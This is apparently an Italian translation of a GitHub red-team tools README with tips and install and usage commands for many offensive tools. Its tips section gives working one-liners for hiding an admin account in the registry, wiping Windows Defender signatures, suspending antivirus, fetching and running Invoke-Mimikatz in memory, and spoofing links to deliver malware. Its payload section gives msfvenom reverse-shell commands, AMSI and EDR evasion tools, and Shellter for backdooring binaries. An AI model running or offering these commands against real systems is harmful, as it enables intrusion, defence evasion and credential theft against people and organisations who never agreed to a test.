Strumenti e tecniche per Red Team / Penetration Testing
Questa repository GitHub contiene una collezione di 150+ strumenti e risorse utili per attività di red teaming.
Alcuni strumenti sono progettati specificamente per il red teaming, mentre altri sono più generici e possono essere adattati a un contesto di red teaming.
🔗 Se sei un Blue Teamer, dai un'occhiata a BlueTeam-Tools
Avviso
I materiali in questa repository sono solo a scopo informativo ed educativo. Non sono destinati a essere utilizzati in attività illegali.
Nota
Nascondi le intestazioni dell'elenco degli strumenti con la freccia.
Clicca 🔙 per tornare all'elenco.
Impara dai Red Teamer con una raccolta di consigli di Red Teaming. Questi consigli coprono una serie di tattiche, strumenti e metodologie per migliorare le tue capacità di red teaming.
Descrizione: 'Qakbot ha aggiunto un EventListener per il movimento del mouse all'allegato di smuggling HTML per anti-evasione; nelle sandbox lo zip non verrà rilasciato.'
Crediti: @pr0xylife
Link: Twitter
Crediti: @malmoeb
Link: Twitter
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /t REG_DWORD /v alh4zr3d /d 0 /f
**Descrizione:** *'Creare account è rischioso quando si elude il blu, ma quando si crea un amministratore locale, usa un po' di magia nel registro per nasconderlo.'*
**Crediti:** [@Alh4zr3d](https://twitter.com/Alh4zr3d)
**Link:** [Twitter](https://twitter.com/Alh4zr3d/status/1612913838999113728)
### [🔙](#tool-list)Disabilitare Windows Defender cancellando le firme```bash
"%Program Files%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
Descrizione: 'Un po' disordinato, ma se Windows Defender ti sta causando un grosso mal di testa, piuttosto che disabilitarlo (che allerta l'utente), dovresti semplicemente neutralizzarlo cancellando tutte le firme.'
Crediti: @Alh4zr3d
Link: Twitter
reg add HKLM\System\CurrentControlSet\Control\TerminalServer /v fSingleSessionPerUser /d 0 /f
**Descrizione:** *'A volte vuoi accedere a un host tramite RDP o simile, ma il tuo utente ha una sessione attiva. Abilita più sessioni per utente.'*
**Crediti:** [@Alh4zr3d](https://twitter.com/Alh4zr3d)
**Link:** [Twitter](https://twitter.com/Alh4zr3d/status/1609954528425558016)
### [🔙](#tool-list)Alternativa locale di Sysinternals PsExec.exe```bash
wmic.exe /node:10.1.1.1 /user:username /password:pass process call create cmd.exe /c " command "
Descrizione: 'Sei stanco di caricare Sysinternals PsExec.exe quando fai movimento laterale? Windows ha un'alternativa migliore preinstallata. Prova questa invece.'
Crediti: @GuhnooPlusLinux
Collegamento: Twitter
0..65535 | % {echo ((new-object Net.Sockets.TcpClient).Connect(<tgt_ip>,$)) "Port $ open"} 2>$null
**Descrizione:** *'Quando possibile, sfrutta gli strumenti nativi del sistema piuttosto che caricare tool sulle macchine (per molte ragioni). PowerShell/.NET aiutano. Es: semplice port scanner in Powershell.'*
**Crediti:** [@Alh4zr3d](https://twitter.com/Alh4zr3d)
**Link:** [Twitter](https://twitter.com/Alh4zr3d/status/1605060950339588096)
### [🔙](#tool-list)Proxy aware PowerShell DownloadString```bash
$w=(New-Object Net.WebClient);$w.Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;IEX $w.DownloadString("<url>")
Descrizione: 'La maggior parte delle grandi organizzazioni utilizza proxy web al giorno d'oggi. Il download cradle standard di PowerShell non è compatibile con i proxy. Usa questo.'
Crediti: @Alh4zr3d
Link: Twitter
type "C:\Users%USERNAME%\AppData\Local\Google\Chrome\User Data\Default\Bookmarks.bak" | findstr /c "name url" | findstr /v "type"
**Descrizione:** *'Saresti sorpreso di ciò che puoi scoprire solo dai segnalibri di un utente. Endpoint interni a cui possono accedere, per esempio.'*
**Crediti:** [@Alh4zr3d](https://twitter.com/Alh4zr3d)
**Link:** [Twitter](https://twitter.com/Alh4zr3d/status/1595488676389171200)
### [🔙](#tool-list)Interroga i record DNS per enumerazione```bash
Get-DnsRecord -RecordType A -ZoneName FQDN -Server <server hostname>
Descrizione: 'L'enumerazione costituisce il 95% del gioco. Tuttavia, lanciare tonnellate di scansioni per valutare l'ambiente è molto rumoroso. Perché non chiedere semplicemente al server DC/DNS tutti i record DNS?'
Crediti: @Alh4zr3d
Link: Twitter
Get-CIMInstance -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$.StartMode -eq "Auto" -and $.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name
**Descrizione:** *'Trovare percorsi di servizio non quotati senza PowerUp'*
**Crediti:** [@Alh4zr3d](https://twitter.com/Alh4zr3d)
**Link:** [Twitter](https://twitter.com/Alh4zr3d/status/1579254955554136064)
### [🔙](#tool-list)Aggirare un prompt dei comandi disabilitato con /k```bash
# Win+R (To bring up Run Box)
cmd.exe /k "whoami"
Descrizione: 'Questo prompt dei comandi è stato disabilitato dall'amministratore...' Di solito si vede in ambienti come i PC chioschi, una soluzione rapida e approssimativa è utilizzare /k tramite la finestra di esecuzione di Windows. Questo eseguirà il comando e poi mostrerà il messaggio di restrizione, consentendo l'esecuzione dei comandi.
Crediti: Martin Sohn Christensen
Link: Blog
(new-object net.webclient).downloadstring('https://raw.githubusercontent[.]com/BC-SECURITY/Empire/main/empire/server/data/module_source/credentials/Invoke-Mimikatz.ps1')|IEX;inv
**Descrizione:** *'Sei stanco che Windows Defender cancelli mimikatz.exe? Prova invece questo.'*
**Crediti:** [@GuhnooPlusLinux](https://twitter.com/GuhnooPlusLinux)
**Collegamento:** [Twitter](https://twitter.com/GuhnooPlusLinux/status/1605629049660809216)
### [🔙](#tool-list)Controlla se sei in una macchina virtuale```bash
reg query HKLM\SYSTEM /s | findstr /S "VirtualBox VBOX VMWare"
Descrizione: 'Vuoi sapere se sei in una macchina virtuale? Interroga le chiavi del registro e scoprilo!!! Se vengono visualizzati dei risultati, allora sei in una macchina virtuale.'
Credito: @dmcxblue
Link: Twitter
(Get-AppLockerPolicy -Local).RuleCollections
Get-ChildItem -Path HKLM:Software\Policies\Microsoft\Windows\SrpV2 -Recurse
reg query HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Exe\
**Descrizione:** *'AppLocker può essere una seccatura. Enumerare per vedere quanto è doloroso'*
**Crediti:** [@Alh4zr3d](https://twitter.com/Alh4zr3d)
**Link:** [Twitter](https://twitter.com/alh4zr3d/status/1614706476412698624)
### [🔙](#tool-list)Scorciatoia CMD con 6 pixel tramite mspaint
1. Apri MSPaint.exe e imposta le dimensioni della tela su: Larghezza=6 e Altezza=1 pixel
2. Ingrandisci per facilitare le operazioni successive
3. Usando il selettore colore, imposta i valori dei pixel a (da sinistra a destra):
- 1°: R: 10, G: 0, B: 0
- 2°: R: 13, G: 10, B: 13
- 3°: R: 100, G: 109, B: 99
- 4°: R: 120, G: 101, B: 46
- 5°: R: 0, G: 0, B: 101
- 6°: R: 0, G: 0, B: 0
4. Salva come bitmap a 24 bit (*.bmp;*.dib)
5. Cambia la sua estensione da bmp a bat ed esegui.
**Descrizione:** *'Un metodo insolito, ma efficace per ottenere una shell creando un collegamento a cmd.exe disegnando certi colori in Microsoft Paint. Grazie all'algoritmo di codifica utilizzato per scrivere file BMP, è possibile dettare dati ASCII scritti in un file selezionando attentamente certi colori RGB.'*
**Crediti:** [PenTestPartners](https://www.pentestpartners.com/)
**Link:** [Blog](https://www.pentestpartners.com/security-blog/breaking-out-of-citrix-and-other-restricted-desktop-environments/#gainingacommandshell)
### [🔙](#tool-list)Spoofing di link con il metodo JavaScript PreventDefault
```html
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>PreventDefault Example</title>
</head>
<body>
<a href="https://google.com" onclick="event.preventDefault(); window.location.href = 'https://bing.com';">Go to Google</a>
</body>
</html>
Descrizione: È stato osservato che gli attori malintenzionati utilizzano questa tecnica per indurre le vittime a cliccare su link di download di malware contraffatti all'interno della pagina. Utilizzando il metodo JavaScript PreventDefault è possibile falsificare il collegamento al passaggio del mouse per visualizzare un link legittimo google.com, ma una volta cliccato, la vittima verrà reindirizzata al tuo link dannoso bing.com. Ottimo per indurre le vittime a scaricare payload tramite un sito controllato.
Link: PreventDefault Docs
```powershell
Copy-Item -Path "C:\tmp" -Destination "\<ip_running_responder>\c$"
**Descrizione:** *'Quando effettuo una Compromise Assessment, spesso chiedo al cliente se posso fare un'ultima rapida verifica: `Copy-Item -Path "C:\tmp\" -Destination "\\<ip_running_responder>\c$"`. Se Responder riesce a catturare l'hash, il firewall permette connessioni SMB in uscita'*
**Crediti:** [@malmoeb](https://twitter.com/malmoeb)
**Link:** [Twitter](https://twitter.com/malmoeb/status/1628272928855826433)
### [🔙](#tool-list)Disabilita l'AV con SysInternals PsSuspend
**Descrizione:** *Utilizzando lo strumento Sysinternals di Microsoft PsSuspend.exe è possibile sospendere alcuni eseguibili del servizio AV. Lo strumento firmato da Microsoft può ricevere il PID o il nome di un servizio in esecuzione e sospenderà il processo tramite l'API Windows NtSuspendProcess.*
**Post correlato:** [Bypass dell'AV tramite sospensione del processo con PsSuspend.exe](https://medium.com/@a-poc/process-suspension-with-pssuspend-exe-0cdf5d16a3b7)
**Link:** [Twitter](https://twitter.com/0gtweet/status/1638069413717975046)
Ricognizione
====================
### [🔙](#tool-list)[spiderfoot](https://github.com/smicallef/spiderfoot)
SpiderFoot è uno strumento di automazione per l'intelligence open source (OSINT). Si integra con praticamente ogni fonte di dati disponibile e utilizza una serie di metodi per l'analisi dei dati, rendendo tali dati facili da navigare.
SpiderFoot può essere utilizzato offensivamente (ad esempio in un esercizio di red team o in un penetration test) per la ricognizione del tuo target, o difensivamente per raccogliere informazioni su ciò che tu o la tua organizzazione potreste aver esposto su Internet.
**Install:**```bash
wget https://github.com/smicallef/spiderfoot/archive/v4.0.tar.gz
tar zxvf v4.0.tar.gz
cd spiderfoot-4.0
pip3 install -r requirements.txt
Per le istruzioni complete di installazione vedi qui.
Utilizzo:```python python3 ./sf.py -l 127.0.0.1:5001
Molti video tutorial di utilizzo [qui](https://asciinema.org/~spiderfoot)
*Immagine tratta da https://github.com/smicallef/spiderfoot*
### [🔙](#tool-list)[reconftw](https://github.com/six2dez/reconftw)
reconFTW automatizza l'intero processo di ricognizione per te. Supera il lavoro di enumerazione dei sottodomini insieme a vari controlli di vulnerabilità e all'ottenimento delle massime informazioni sul tuo target.
**Installazione:**```bash
git clone https://github.com/six2dez/reconftw.git;cd reconftw/;./install.sh
Per le istruzioni complete di installazione vedi qui.
Utilizzo:```bash
./reconftw.sh -d target.com -r
./reconftw.sh -m target -l domains.txt -r
./reconftw.sh -d target.com -p
./reconftw.sh -d target.com -a
Per istruzioni complete sull'uso vedi [qui](https://github.com/six2dez/reconftw/wiki/2.-Usage-Guide).
*Immagine tratta da https://www.youtube.com/watch?v=TQmDAtkD1Wo*
### [🔙](#tool-list)[subzy](https://github.com/PentestPad/subzy)
Strumento per il takeover di sottodomini che funziona confrontando le impronte digitali delle risposte da [can-i-take-over-xyz](https://github.com/EdOverflow/can-i-take-over-xyz/blob/master/README.md).
**Installazione:**```bash
go install -v github.com/PentestPad/subzy@latest
Per istruzioni complete di installazione vedi qui.
Utilizzo:```bash
./subzy run --targets list.txt
./subzy run --target test.google.com ./subzy run --target test.google.com,https://test.yahoo.com
*Image used from https://www.geeksforgeeks.org/subzy-subdomain-takeover-vulnerability-checker-tool/*
### [🔙](#tool-list)[smtp-user-enum](https://github.com/cytopia/smtp-user-enum)
Enumerazione utenti SMTP tramite VRFY, EXPN e RCPT con funzionalità di timeout intelligente, riprova e riconnessione.
**Installazione:**```bash
pip install smtp-user-enum
Utilizzo:```bash smtp-user-enum [options] -u/-U host port smtp-user-enum --help smtp-user-enum --version
*Immagine usata da https://www.kali.org/tools/smtp-user-enum/*
### [🔙](#tool-list)crt.sh -> httprobe -> EyeWitness
Ho preparato uno script bash one-liner che:
- Raccoglie passivamente un elenco di sottodomini dalle associazioni di certificati ([crt.sh](https://crt.sh/))
- Interroga attivamente ciascun sottodominio per verificarne l'esistenza ([httprobe](https://github.com/tomnomnom/httprobe))
- Effettua attivamente uno screenshot di ciascun sottodominio per la revisione manuale ([EyeWitness](https://github.com/FortyNorthSecurity/EyeWitness))
**Uso:**```bash
domain=DOMAIN_COM;rand=$RANDOM;curl -fsSL "https://crt.sh/?q=${domain}" | pup 'td text{}' | grep "${domain}" | sort -n | uniq | httprobe > /tmp/enum_tmp_${rand}.txt; python3 /usr/share/eyewitness/EyeWitness.py -f /tmp/enum_tmp_${rand}.txt --web
Nota: Devi avere httprobe, pup e EyeWitness installati e cambiare 'DOMAIN_COM' con il dominio target. Puoi eseguire questo script contemporaneamente in finestre di terminale se hai più domini root target
Un bookmarklet JavaScript per estrarre tutti i link degli endpoint di una pagina web.
Creato da @renniepak, questo snippet di codice JavaScript può essere utilizzato per estrarre tutti gli endpoint (che iniziano con /) dal DOM della pagina web corrente, inclusi tutti i sorgenti di script esterni incorporati nella pagina web.```javascript
javascript:(function(){var scripts=document.getElementsByTagName("script"),regex=/(?<=("|'|`))/[a-zA-Z0-9_?&=/-#.]*(?=("|'|`))/g;const results=new Set;for(var i=0;i<scripts.length;i++){var t=scripts[i].src;""!=t&&fetch(t).then(function(t){return t.text()}).then(function(t){var e=t.matchAll(regex);for(let r of e)results.add(r[0])}).catch(function(t){console.log("An error occurred: ",t)})}var pageContent=document.documentElement.outerHTML,matches=pageContent.matchAll(regex);for(const match of matches)results.add(match[0]);function writeResults(){results.forEach(function(t){document.write(t+"
")})}setTimeout(writeResults,3e3);})();
**Utilizzo (Bookmarklet)**
Crea un bookmarklet...
- `Right click your bookmark bar`
- `Click 'Add Page'`
- `Paste the above Javascript in the 'url' box`
- `Click 'Save'`
...poi visita la pagina vittima nel browser e clicca sul bookmarklet.
**Utilizzo (Console)**
Incolla il codice Javascript sopra nella finestra della console `F12` e premi Invio.
### [🔙](#tool-list)[nuclei](https://github.com/projectdiscovery/nuclei)
Scanner di vulnerabilità veloce che utilizza modelli .yaml per cercare problemi specifici.
**Installazione:**```bash
go install -v github.com/projectdiscovery/nuclei/v2/cmd/nuclei@latest
Uso:```bash cat domains.txt | nuclei -t /PATH/nuclei-templates/
### [🔙](#tool-list)[certSniff](https://github.com/A-poc/certSniff)
certSniff è un watcher di parole chiave per i log di Certificate Transparency che ho scritto in Python. Utilizza la libreria certstream per monitorare i log di creazione dei certificati che contengono parole chiave definite in un file.
Puoi avviarlo con diverse parole chiave relative al dominio della tua vittima; qualsiasi creazione di certificato verrà registrata e potrebbe portare alla scoperta di domini di cui non eri a conoscenza.
**Installazione:**```bash
git clone https://github.com/A-poc/certSniff;cd certSniff/;pip install -r requirements.txt
Utilizzo:```python python3 certSniff.py -f example.txt
### [🔙](#tool-list)[gobuster](https://www.kali.org/tools/gobuster/)
Ottimo strumento per il brute forcing di percorsi di file/cartelle su un sito web vittima.
**Installazione:**```bash
sudo apt install gobuster
Utilizzo:```bash gobuster dir -u "https://google.com" -w /usr/share/wordlists/dirb/big.txt --wildcard -b 301,401,403,404,500 -t 20
### [🔙](#tool-list)[feroxbuster](https://github.com/epi052/feroxbuster)
Uno strumento progettato per eseguire Forced Browsing, un attacco in cui l'obiettivo è enumerare e accedere a risorse che non sono referenziate dall'applicazione web, ma sono comunque accessibili a un attaccante.
Feroxbuster utilizza la forza bruta combinata con una wordlist per cercare contenuti non collegati nelle directory di destinazione. Queste risorse possono memorizzare informazioni sensibili su applicazioni web e sistemi operativi, come codice sorgente, credenziali, indirizzi di rete interni, ecc...
**Installazione: (Kali)**```bash
sudo apt update && sudo apt install -y feroxbuster
Installa: (Mac)```bash curl -sL https://raw.githubusercontent.com/epi052/feroxbuster/master/install-nix.sh | bash
**Installa: (Windows)**```bash
Invoke-WebRequest https://github.com/epi052/feroxbuster/releases/latest/download/x86_64-windows-feroxbuster.exe.zip -OutFile feroxbuster.zip
Expand-Archive .\feroxbuster.zip
.\feroxbuster\feroxbuster.exe -V
Per le istruzioni di installazione complete, vedi qui.
Uso:```bash
./feroxbuster -u http://127.1 -x pdf -x js,html -x php txt json,docx
./feroxbuster -u http://127.1 -H Accept:application/json "Authorization: Bearer {token}"
cat targets | ./feroxbuster --stdin --silent -s 200 301 302 --redirects -x js | fff -s 200 -o js-files
./feroxbuster -u http://127.1 --insecure --proxy http://127.0.0.1:8080
Full usage examples can be found [here](https://epi052.github.io/feroxbuster-docs/docs/examples/).
*Immagine utilizzata da https://raw.githubusercontent.com/epi052/feroxbuster/main/img/demo.gif*
### [🔙](#tool-list)[CloudBrute](https://github.com/0xsha/CloudBrute)
Uno strumento per trovare l'infrastruttura, i file e le app di un'azienda (target) nei principali provider cloud (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode).
Caratteristiche:
- Rilevamento cloud (API IPINFO e Codice Sorgente)
- Veloce (concorrente)
- Multipiattaforma (windows, linux, mac)
- Randomizzazione User-Agent
- Randomizzazione Proxy (HTTP, Socks5)
**Installazione:**
Scarica l'ultima [release](https://github.com/0xsha/CloudBrute/releases) per il tuo sistema e segui l'utilizzo.
**Utilizzo:**```bash
# Specified target, generate keywords based off 'target', 80 threads with a timeout of 10, wordlist 'storage_small.txt'
CloudBrute -d target.com -k target -m storage -t 80 -T 10 -w "./data/storage_small.txt"
# Output results to file
CloudBrute -d target.com -k keyword -m storage -t 80 -T 10 -w -c amazon -o target_output.txt
Immagine tratta da https://github.com/0xsha/CloudBrute
dnsrecon è uno strumento pyhton per enumerare record DNS (MX, SOA, NS, A, AAAA, SPF e TXT) e può fornire un numero di nuovi host vittime associati da cui fare pivot a partire da una singola ricerca di dominio.
Installazione:```bash sudo apt install dnsrecon
**Utilizzo:**```bash
dnsrecon -d google.com
Shodan scansiona l'infrastruttura pubblica e la mostra in un formato ricercabile. Utilizzando un nome aziendale, un nome di dominio o un indirizzo IP, è possibile scoprire sistemi potenzialmente vulnerabili correlati al proprio target tramite shodan.
Strumento per l'enumerazione di sottodomini, enumerazione DNS, rilevamento WAF, WHOIS, scansione porte, wayback machine, raccolta email.
Installazione:```bash git clone https://github.com/D3Ext/AORT; cd AORT; pip3 install -r requirements.txt
**Utilizzo:**```python
python3 AORT.py -d google.com
Un programma che controlla se un dominio può essere spoofato. Il programma verifica i record SPF e DMARC per configurazioni deboli che consentono lo spoofing. Inoltre, segnalerà se il dominio ha una configurazione DMARC che invia mail o richieste HTTP su email SPF/DKIM fallite.
I domini sono spoofabili se una delle seguenti condizioni è soddisfatta:
~all o -allp=none o è inesistenteInstallazione:```bash git clone https://github.com/BishopFox/spoofcheck; cd spoofcheck; pip install -r requirements.txt
**Utilizzo:**```bash
./spoofcheck.py [DOMAIN]
AWSBucketDump è uno strumento per enumerare rapidamente i bucket AWS S3 alla ricerca di file interessanti. È simile a un bruteforcer di sottodomini ma è realizzato specificamente per i bucket S3 e ha anche alcune funzionalità extra che consentono di eseguire grep sui file, nonché di scaricare file interessanti.
Installazione:``` git clone https://github.com/jordanpotti/AWSBucketDump; cd AWSBucketDump; pip install -r requirements.txt
**Utilizzo:**```
usage: AWSBucketDump.py [-h] [-D] [-t THREADS] -l HOSTLIST [-g GREPWORDS] [-m MAXSIZE]
optional arguments:
-h, --help show this help message and exit
-D Download files. This requires significant diskspace
-d If set to 1 or True, create directories for each host w/ results
-t THREADS number of threads
-l HOSTLIST
-g GREPWORDS Provide a wordlist to grep for
-m MAXSIZE Maximum file size to download.
python AWSBucketDump.py -l BucketNames.txt -g interesting_Keywords.txt -D -m 500000 -d 1
Ottimo strumento per trovare informazioni da GitHub con regex, con la capacità di cercare utenti e/o progetti specifici di GitHub.
Installazione:``` git clone https://github.com/metac0rtex/GitHarvester; cd GitHarvester
**Utilizzo:**```
./githarvester.py
TruffleHog è uno strumento che scansiona i repository git e cerca stringhe e pattern ad alta entropia che possono indicare la presenza di segreti, come password e chiavi API. Con TruffleHog puoi trovare rapidamente e facilmente informazioni sensibili che potrebbero essere state accidentalmente committate e inviate a un repository.
Installazione (Binari): Link
Installazione (Go):``` git clone https://github.com/trufflesecurity/trufflehog.git; cd trufflehog; go install
**Utilizzo:**```
trufflehog https://github.com/trufflesecurity/test_keys
Dismap è uno strumento di scoperta e identificazione delle risorse. Può identificare rapidamente protocolli e informazioni sulle impronte digitali come web/tcp/udp, localizzare i tipi di risorse ed è adatto per reti interne ed esterne.
Dismap dispone di una base completa di regole per le impronte digitali, che attualmente include impronte digitali dei protocolli tcp/udp/tls e oltre 4500 regole per impronte web, in grado di identificare favicon, body, header, ecc.
Installazione:
Dismap è un file binario per Linux, macOS e Windows. Vai alla Release per scaricare la versione corrispondente ed eseguire:```bash
chmod +x dismap-0.3-linux-amd64 ./dismap-0.3-linux-amd64 -h
dismap-0.3-windows-amd64.exe -h
**Uso:**```bash
# Scan 192.168.1.1 subnet
./dismap -i 192.168.1.1/24
# Scan, output to result.txt and json output to result.json
./dismap -i 192.168.1.1/24 -o result.txt -j result.json
# Scan, Not use ICMP/PING to detect surviving hosts, timeout 10 seconds
./dismap -i 192.168.1.1/24 --np --timeout 10
# Scan, Number of concurrent threads 1000
./dismap -i 192.168.1.1/24 -t 1000
Immagine utilizzata da https://github.com/zhzyker/dismap
Uno strumento per enumerare informazioni da sistemi Windows e Samba.
Può essere utilizzato per raccogliere un'ampia gamma di informazioni, tra cui:
Installazione: (Apt)```bash sudo apt install enum4linux
**Installazione: (Git)**```bash
git clone https://github.com/CiscoCXSecurity/enum4linux
cd enum4linux
Utilizzo:```bash
enum4linux.pl -a 192.168.2.55
enum4linux.pl -U 192.168.2.55
enum4linux.pl -u administrator -p password -U 192.168.2.55
enum4linux.pl -G 192.168.2.55
enum4linux.pl -v 192.168.2.55
Le informazioni complete sull'uso si trovano in questo [blog](https://labs.portcullis.co.uk/tools/enum4linux/).
*Immagine usata da https://allabouttesting.org/samba-enumeration-for-penetration-testing-short-tutorial/*
### [🔙](#tool-list)[skanuvaty](https://github.com/Esc4iCEscEsc/skanuvaty)
Scanner dns/network/port incredibilmente veloce, creato da [Esc4iCEscEsc](https://github.com/Esc4iCEscEsc), scritto in rust.
Avrai bisogno di un file di subdomini. *Ad es. [Wordlist di subdomini di Sublist3r](https://raw.githubusercontent.com/aboul3la/Sublist3r/master/subbrute/names.txt)*.
**Installazione:**
Scarica l'ultima release da [qui](https://github.com/Esc4iCEscEsc/skanuvaty/releases).```bash
# Install a wordlist
sudo apt install wordlists
ls /usr/share/dirb/wordlists
ls /usr/share/amass/wordlists
Utilizzo:```bash skanuvaty --target example.com --concurrency 16 --subdomains-file SUBDOMAIN_WORDLIST.txt
*Immagine usata da https://github.com/Esc4iCEscEsc/skanuvaty*
### [🔙](#tool-list)[Metabigor](https://github.com/j3ssie/metabigor)
Metabigor è uno strumento di Intelligence, il suo obiettivo è svolgere attività OSINT e altro, ma senza alcuna chiave API.
**Caratteristiche principali:**
- Ricerca di informazioni su indirizzo IP, ASN e Organizzazione.
- Wrapper per eseguire rustscan, masscan e nmap in modo più efficiente su IP/CIDR.
- Trovare più domini correlati al target applicando varie tecniche (certificato, whois, Google Analytics, ecc.).
- Ottenere un riepilogo sull'indirizzo IP (offerto da [@thebl4ckturtle](https://github.com/theblackturtle))
**Installazione:**```bash
go install github.com/j3ssie/metabigor@latest
Utilizzo:```bash
echo "company" | metabigor net --org -o /tmp/result.txt
echo 'Target Inc' | metabigor cert --json | jq -r '.Domain' | unfurl format %r.%t | sort -u # this is old command
echo '1.2.3.4/24' | metabigor scan -o result.txt
echo 'example.com' | metabigor related -s 'whois'
echo 'https://example.com' | metabigor related -s 'google-analytic'
*Immagine utilizzata da https://github.com/j3ssie/metabigor*
### [🔙](#tool-list)[Gitrob](https://github.com/michenriksen/gitrob)
Gitrob è uno strumento per aiutare a trovare file potenzialmente sensibili inviati a repository pubbliche su Github.
Gitrob clonerà i repository appartenenti a un utente o a un'organizzazione fino a una profondità configurabile e scorrerà la cronologia dei commit, segnalando i file che corrispondono a firme di file potenzialmente sensibili.
I risultati verranno presentati tramite un'interfaccia web per una facile navigazione e analisi.
**Nota:** *Gitrob necessita di un token di accesso Github per interagire con l'API Github. [Crea un token di accesso personale](https://help.github.com/articles/creating-a-personal-access-token-for-the-command-line/) e salvalo in una variabile d'ambiente nel tuo .bashrc o in un file di configurazione simile della shell:*```bash
export GITROB_ACCESS_TOKEN=deadbeefdeadbeefdeadbeefdeadbeefdeadbeef
Installazione: (Go)```bash go get github.com/michenriksen/gitrob
**Installazione: (Binario)**
Una [versione precompilata](https://github.com/michenriksen/gitrob/releases) è disponibile per ogni release.
**Utilizzo:**```bash
# Run against org
gitrob {org_name}
# Saving session to a file
gitrob -save ~/gitrob-session.json acmecorp
# Loading session from a file
gitrob -load ~/gitrob-session.json
Immagine usata da https://www.uedbox.com/post/58828/
Gowitness è un'utilità per screenshot di siti web scritta in Golang, che utilizza Chrome Headless per generare screenshot di interfacce web tramite riga di comando, con un comodo visualizzatore di report per elaborare i risultati. Sono supportati sia Linux che macOS, con il supporto per Windows per lo più funzionante.
Install: (Go)```bash go install github.com/sensepost/gowitness@latest
Informazioni complete sull'installazione si trovano [qui](https://github.com/sensepost/gowitness/wiki/Installation).
**Utilizzo:**```bash
# Screenshot a single website
gowitness single https://www.google.com/
# Screenshot a cidr using 20 threads
gowitness scan --cidr 192.168.0.0/24 --threads 20
# Screenshot open http services from an namp file
gowitness nmap -f nmap.xml --open --service-contains http
# Run the report server
gowitness report serve
Full usage information can be found here.
Immagine tratta da https://github.com/sensepost/gowitness
Inietta un collegamento a un modello di Word remoto in un documento Word.
Questa utility basata su Python modifica il collegamento settings.xml.rels di un file .docx verso un modello .dotm ospitato in remoto contenente una macro VBA, che viene eseguita quando il documento viene aperto e le macro sono abilitate.
Installazione:
pip install remoteinjector
git clone https://github.com/JohnWoodman/remoteinjector.git
cd remoteinjector
``````bash
git clone https://github.com/JohnWoodman/remoteinjector;cd remoteinjector
Utilizzo:```bash python3 remoteinjector.py -w https://example.com/template.dotm example.docx
### [🔙](#tool-list)[Chimera](https://github.com/tokyoneon/Chimera)
Chimera è uno script di offuscamento PowerShell progettato per bypassare AMSI e le soluzioni antivirus. Elabora script PS1 malevoli noti per attivare l'AV e utilizza la sostituzione di stringhe e la concatenazione di variabili per eludere le firme di rilevamento comuni.
**Installazione:**```bash
sudo apt-get update && sudo apt-get install -Vy sed xxd libc-bin curl jq perl gawk grep coreutils git
sudo git clone https://github.com/tokyoneon/chimera /opt/chimera
sudo chown $USER:$USER -R /opt/chimera/; cd /opt/chimera/
sudo chmod +x chimera.sh; ./chimera.sh --help
Utilizzo:```bash
./chimera.sh -f shells/Invoke-PowerShellTcp.ps1 -l 3 -o /tmp/chimera.ps1 -v -t powershell,windows,
copyright -c -i -h -s length,get-location,ascii,stop,close,getstream -b new-object,reverse,
invoke-expression,out-string,write-error -j -g -k -r -p
### [🔙](#tool-list)[msfvenom](https://www.offensive-security.com/metasploit-unleashed/Msfvenom/)
Msfvenom consente la creazione di payload per vari sistemi operativi in un'ampia gamma di formati. Supporta anche l'offuscamento dei payload per eludere l'antivirus.
**Configurare il Listener**```shell
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST your-ip
set LPORT listening-port
run
PHP:```bash msfvenom -p php/meterpreter/reverse_tcp lhost =192.168.0.9 lport=1234 R
**Windows:**```bash
msfvenom -p windows/shell/reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > shell-x86.exe
Linux:```bash msfvenom -p linux/x86/shell/reverse_tcp LHOST= LPORT= -f elf > shell-x86.elf
**Java:**```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f raw > shell.jsp
HTA:```bash msfvenom -p windows/shell_reverse_tcp lhost=192.168.1.3 lport=443 -f hta-psh > shell.hta
### [🔙](#tool-list)[Shellter](https://www.shellterproject.com/)
Shellter è uno strumento di iniezione dinamica di shellcode, e il primo infettore PE veramente dinamico mai creato.
Può essere utilizzato per iniettare shellcode in applicazioni Windows native (attualmente solo applicazioni a 32 bit).
Shellter sfrutta la struttura originale del file PE e non applica alcuna modifica come la modifica dei permessi di accesso alla memoria nelle sezioni (a meno che l'utente non lo voglia), l'aggiunta di una sezione extra con accesso RWE, e tutto ciò che potrebbe sembrare sospetto sotto una scansione antivirus.
Le informazioni complete del README sono disponibili [qui](https://www.shellterproject.com/Downloads/Shellter/Readme.txt).
**Installazione: (Kali)**```bash
apt-get update
apt-get install shellter
Installazione: (Windows)
Visita la pagina di download e installa.
Utilizzo:
Basta scegliere un binario legittimo da backdoorare ed eseguire Shellter.
Alcuni utili consigli si trovano qui.
Molte demo della community sono disponibili qui.
Immagine usata da https://www.kali.org/tools/shellter/images/shellter.png
Freeze è uno strumento di creazione di payload utilizzato per eludere i controlli di sicurezza EDR ed eseguire shellcode in modo furtivo.
Freeze utilizza molteplici tecniche non solo per rimuovere gli hook EDR in Userland, ma anche per eseguire shellcode in modo tale da eludere altri controlli di monitoraggio degli endpoint.
Installazione:```bash git clone https://github.com/optiv/Freeze cd Freeze go build Freeze.go
**Utilizzo:**```
-I string
Path to the raw 64-bit shellcode.
-O string
Name of output file (e.g. loader.exe or loader.dll). Depending on what file extension defined will determine if Freeze makes a dll or exe.
-console
Only for Binary Payloads - Generates verbose console information when the payload is executed. This will disable the hidden window feature.
-encrypt
Encrypts the shellcode using AES 256 encryption
-export string
For DLL Loaders Only - Specify a specific Export function for a loader to have.
-process string
The name of process to spawn. This process has to exist in C:\Windows\System32\. Example 'notepad.exe' (default "notepad.exe")
-sandbox
Enables sandbox evasion by checking:
Is Endpoint joined to a domain?
Does the Endpoint have more than 2 CPUs?
Does the Endpoint have more than 4 gigs of RAM?
-sha256
Provides the SHA256 value of the loaders (This is useful for tracking)
Immagine usata da https://www.blackhatethicalhacking.com/tools/freeze/
